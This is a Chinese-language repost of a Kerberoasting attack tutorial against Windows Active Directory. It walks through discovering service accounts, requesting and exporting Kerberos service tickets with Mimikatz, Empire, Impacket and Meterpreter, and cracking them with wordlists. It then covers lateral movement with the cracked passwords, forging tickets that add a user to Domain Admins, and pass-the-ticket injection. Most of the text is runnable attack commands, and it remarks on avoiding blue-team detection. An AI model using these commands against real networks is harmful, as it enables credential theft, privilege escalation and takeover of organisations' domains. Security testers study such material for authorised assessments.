Kerberoast

网友投稿 281 2022-10-10


Kerberoast

原文:Directory如何使用服务主体名称(SPNs)的优秀文章:Directory服务主体名称(SPNs)的全面参考(尽可能全面):Kerberos service tickets 的5个步骤:

SPN Discovery Request Service Tickets Export Service Tickets Crack Service Tickets Rewrite Service Tickets & RAM Injection

(一)SPN Discovery原文:C:\> setspn -T medin -Q /

GetUserSPNsTim Medin开发了PowerShell脚本,该脚本是kerberoast toolkit的一部分,并且可以查询AD(活动目录),以便只发现与用户帐户相关联的服务,因为与SetSPN相比,这种方法更加专注。meterpreter > powershell_import /root/Desktop/GetUserSPNs.ps1也可以执行vbs脚本。C:\Users\Administrator>cscript.exe GetUserSPNs.vbsAD ReconSean Metcalf的脚本用于查询活动目录,以获得诸如Exchange、Microsoft SQL、Terminal等有趣的服务。下面的脚本将识别网络上的所有Microsoft SQL实例。meterpreter > powershell_import /root/Discover-PSMSSQLServers.ps1meterpreter > powershell_execute Discover-PSMSSQLServers还可以使用PSMSExchangeServers脚本发现Microsoft Exchange服务。meterpreter > powershell_import /root/Discover-PSMSExchangeServers.ps1meterpreter > powershell_execute Discover-PSMSExchangeServers服务帐户的枚举很重要,因为这些帐户可能配置为弱密码。PasswordLastSet和LastLogon的属性可能指示哪些服务更有可能使用了弱密码。meterpreter > powershell_import /root/Find-PSServiceAccounts.ps1meterpreter > powershell_execute Find-PSServiceAccountsEmpire还拥有一个模块,可以显示用于域帐户的服务主体名称(SPN)。(Empire: xx) > usemodule situational_awareness/network/get_spn(Empire: powershell/situational_awareness/network/get_spn) > infoSutherland已经创建了几个Powershell脚本,它们是PowerShellery的一部分,可以为各种服务收集SPN。其中一些需要用PowerShell v2.0,其他一些用PowerShell v3.0。PS C:\> Import-Module .\Get-SPN.psm1PS C:\> Get-SPN -type service -search ""结果也可以转化为表格,以便更轻松地映射帐户和服务。Get-SPN -type service -search "" -List yes | Format-Table还有一个额外的脚本可以获取UserSid,服务和实际用户。PS C:\> Import-Module .\Get-DomainSpn.psm1PS C:\> Get-DomainSpn-dc-ip 10.0.0.1 pentestlab.local/testService Tickets使用PowerShell是请求指定SPN的服务票证最简单的方法,正如Tim Medin在DerbyCon 4.0上的说的。PS > Add-Type -AssemblyName System.IdentityModelPS > New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"执行klist命令将列出所有可用的缓存票据。PS > klist

请求服务票据的另一种解决方案是通过Mimikatz指定服务主体名称作为目标。mimikatz#kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80与klist类似,内存中存在的Kerberos票证列表可以通过Mimikatz检索。从现有的PowerShell会话中,Invoke-Mimikatz脚本将输出所有票据。PS > Invoke-Mimikatz -Command '"kerberos::list"'mimikatz(powershell)#kerberos::list

另外,加载Kiwi模块将添加一些额外的Mimikatz命令,它们可以执行相同的任务。meterpreter > load kiwimeterpreter > kerberos_ticket_list或者通过执行一个自定义的Kiwi命令。meterpreter > kiwi_cmd kerberos::list

Impacket有一个python模块,可以请求属于域用户的Kerberos服务票据,与计算机帐户服务票据相比,这些票据应该更容易破解。然而,从一个不属于该域的系统与Active Directory交互还需要有效的域凭据。#./GetUserSPNs.py -request pentestlab.local/testHart开发的RiskySPN中的模块。此模块的目的是对属于用户的可用服务票据进行审计,以便根据用户帐户和密码过期查找最容易包含弱密码的票据。与klist和Mimikatz相比,该脚本将提供更详细的输出,包括用户组信息、密码年龄和破解窗口。PS > Find-PotentiallyCrackableAccounts -FullData -Verbose使用-Domain参数执将返回所有具有关联服务主体名称的用户帐户。PS > Find-PotentiallyCrackableAccounts -Domain "pentestlab.local"服务票据信息也可以以CSV格式导出,以供离线查看。PS > Export-PotentiallyCrackableAccounts另一个脚本可以通过其SPN为服务实例获取服务票据。meterpreter > power_shellPS > Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"Medin的Kerberoast toolkit为了实现过程的自动化已经被重写。AutoKerberoast包含Tim的原始脚本,包括两个PowerShell脚本,其中包含可以执行以Base64、John和Hashcat格式请求、列出和导出服务票据的各种功能。meterpreter > powershell_execute List-UserSPNs还有一个-Domain参数可以只列出特定域的SPNs。meterpreter > powershell_execute List-UserSPNs -Domain "pentestlab.local"Service TicketsMimikatz是可以导出Kerberos服务票据的标准工具。从PowerShell会话中,以下命令将列出内存中的所有可用票据,并将其保存在远程主机中。PS > Invoke-Mimikatz -Command '"kerberos::list /export"'

同样,PowerShell Empire有一个模块可以自动完成Kerberos服务票据提取任务。(Empire: xx) > usemodule credentials/mimikatz/extract_tickets该模块将使用Invoke-Mimikatz函数自动执行下面的命令。mimikatz(powershell)#standard::base64mimikatz(powershell)#kerberos::list /export

支持Kerberos身份验证的服务的票证哈希可以直接使用PowerShell Empire模块提取。哈希的格式可以提取为John或Hashcat。该模块将检索所有服务帐户的密码哈希值。(Empire: agent) > interact xx(Empire: xx) > usemodule credentials/invoke_kerberoast

AutoKerberoast将以base64格式提取所有的服务票据。meterpreter > powershell_execute Invoke-AutoKerberoastAutoKerberoast中还有一个脚本(,它将以hashcat兼容格式显示提取的票据。groups的票据。PS > Invoke-AutoKerberoast -GroupName "Domain Admins" -Domain pentestlab.local -HashFormat JohnHart开发的Get-TGSCipher PowerShell模块可以以三种不同格式:John、Hashcat和Kerberoast提取服务票据的密码散列。可以在(一)SPN Discovery 中检索脚本所需的相关服务的服务主体名称。使用Get-TGSCipher函数的好处是无需使用Mimikatz导出票据,这可能会触发蓝色团队的警报,并且还可以通过获取散列来直接减少将票据转换为John格式的步骤。PS > Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80" -Format John

(四)Crack Service Ticketstgsrepcrack.py是Tim Medin开发的Kerberoast中的一部分,可以通过提供密码列表来破解Kerberos票据。#python tgsrepcrack.py /root/Desktop/passwords.txt PENTESTLAB_001.kirbiChristensen开发了extractServiceTicketParts python脚本,该脚本可以使用Go语言提取服务票据和tgscrack的哈希,从而可以破解哈希,密码将以纯文本显示。如果PowerShell remoting已开启,则可以使用从服务票据中检索的密码执行远程命令和其他横向移动操作。PS > Enable-PSRemotingPS > $pass = 'Password123' | ConvertTo-SecureString -AsPlainText -ForcePS > $creds = New-Object System.Management.Automation.PSCredential -ArgumentList 'PENTESTLAB_001', $passPS > Invoke-Command -ScriptBlock {get-process} -ComputerName WIN-PTELU2U07KG.PENTESTLAB.LOCAL -Credential $credsService Tickets & RAM InjectionKerberos tickets使用密码的NTLM hash进行签名。如果ticket hash已经被破解,那么可以使用kerberos python脚本重写该票据。这种策略将允许在访问服务时模拟任何域用户或假帐户。此外,还可以将用户添加到一个elevated group中进行提权,如Domain Admins。#python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500#python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512可以使用以下Mimikatz命令将新票据重新注入内存,以便通过Kerberos协议对目标服务执行身份验证。kerberos :: ptt PENTESTLAB.kirbihttps://github.com/nidem/kerberoast

参考:https://github.com/nidem/kerberoasthttps://github.com/xan7r/kerberoasthttps://github.com/cyberark/RiskySPNhttps://github.com/leechristensen/tgscrackhttp://harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/https://adsecurity.org/?p=2293https://blackhillsinfosec.com/a-toast-to-kerberoast/https://blog.xpnsec.com/kerberos-attacks-part-1/https://cyberark.com/blog/service-accounts-weakest-link-chain/


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:Java日常练习题,每天进步一点点(19)
下一篇:Situational Awareness(situational awareness)
相关文章

 发表评论

暂时没有评论,来抢沙发吧~